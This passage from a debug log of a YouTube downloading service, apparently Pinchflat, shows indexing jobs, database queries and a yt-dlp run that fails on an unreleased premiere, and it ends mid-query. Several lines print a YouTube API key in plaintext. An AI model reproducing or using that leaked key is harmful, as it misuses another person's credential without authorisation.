{"args":{"id":18},"id":3800215,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209996,"event":"job:stop","queue_time":491576,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:14.711 [info] {"args":{"id":3},"id":3800217,"meta":{},"system_time":1770766634711690691,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:14.711 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:37:14.712 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.712 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:14.712 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.712 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:37:14.712 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:14.712 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:14.827 [debug] QUERY OK source="media_items" db=0.8ms idle=115.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 17:37:14.828 [debug] QUERY OK source="media_items" db=0.3ms idle=116.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:37:14.829 [debug] QUERY OK source="tasks" db=0.1ms idle=117.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800255, 39, ~U[2026-02-10 23:37:14Z], ~U[2026-02-10 23:37:14Z]] 17:37:14.829 [info] {"args":{"id":39},"id":3800216,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":333989,"event":"job:stop","queue_time":384982,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:14.928 [debug] QUERY OK source="media_items" db=0.6ms idle=98.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 17:37:14.930 [debug] QUERY OK source="media_items" db=0.4ms idle=99.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:37:14.930 [debug] QUERY OK source="tasks" db=0.0ms idle=95.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800256, 3, ~U[2026-02-10 23:37:14Z], ~U[2026-02-10 23:37:14Z]] 17:37:14.931 [info] {"args":{"id":3},"id":3800217,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":219229,"event":"job:stop","queue_time":511903,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:19.501 [info] {"args":{"id":32},"id":3800218,"meta":{},"system_time":1770766639501750644,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:19.502 [debug] QUERY OK source="sources" db=0.1ms idle=623.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:37:19.502 [debug] QUERY OK source="settings" db=0.0ms idle=623.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.502 [debug] QUERY OK source="media_profiles" db=0.1ms idle=623.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:19.502 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.502 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:37:19.502 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.502 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:19.661 [debug] QUERY OK source="media_items" db=0.6ms idle=158.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "ed7V-kfgSGY", "b5oqQc9awuc", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", ...] 17:37:19.662 [debug] QUERY OK source="settings" db=0.1ms idle=159.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.662 [debug] QUERY OK source="settings" db=0.1ms idle=159.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.662 [debug] Running yt-dlp command for action: get_media_attributes 17:37:19.664 [debug] QUERY OK source="settings" db=0.0ms idle=162.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.664 [debug] QUERY OK source="settings" db=0.0ms idle=161.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.664 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:19.665 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e7/df/e7df8bc2f8a8fb1cac82820a34b01e9096e32890237bd072bee2b7671604ac55.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:37:20.932 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e7/df/e7df8bc2f8a8fb1cac82820a34b01e9096e32890237bd072bee2b7671604ac55.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b5oqQc9awuc: Premieres in 45 hours 17:37:20.932 [error] Error creating media item 'b5oqQc9awuc' from URL: {:error, "ERROR: [youtube] b5oqQc9awuc: Premieres in 45 hours\n", 1} 17:37:20.934 [debug] QUERY OK source="media_items" db=1.1ms idle=435.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:37:20.934 [debug] QUERY OK source="tasks" db=0.1ms idle=56.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800257, 32, ~U[2026-02-10 23:37:20Z], ~U[2026-02-10 23:37:20Z]] 17:37:20.935 [info] {"args":{"id":32},"id":3800218,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1433087,"event":"job:stop","queue_time":224879,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:27.509 [info] {"args":{"id":36},"id":3800219,"meta":{},"system_time":1770766647509792037,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:27.510 [debug] QUERY OK source="sources" db=0.1ms idle=631.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:37:27.510 [debug] QUERY OK source="settings" db=0.0ms idle=631.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:27.510 [debug] QUERY OK source="media_profiles" db=0.1ms idle=631.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:27.510 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:27.510 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:37:27.510 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:27.510 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:27.641 [debug] QUERY OK source="media_items" db=0.9ms idle=130.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 17:37:27.642 [debug] QUERY OK source="media_items" db=0.7ms idle=131.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 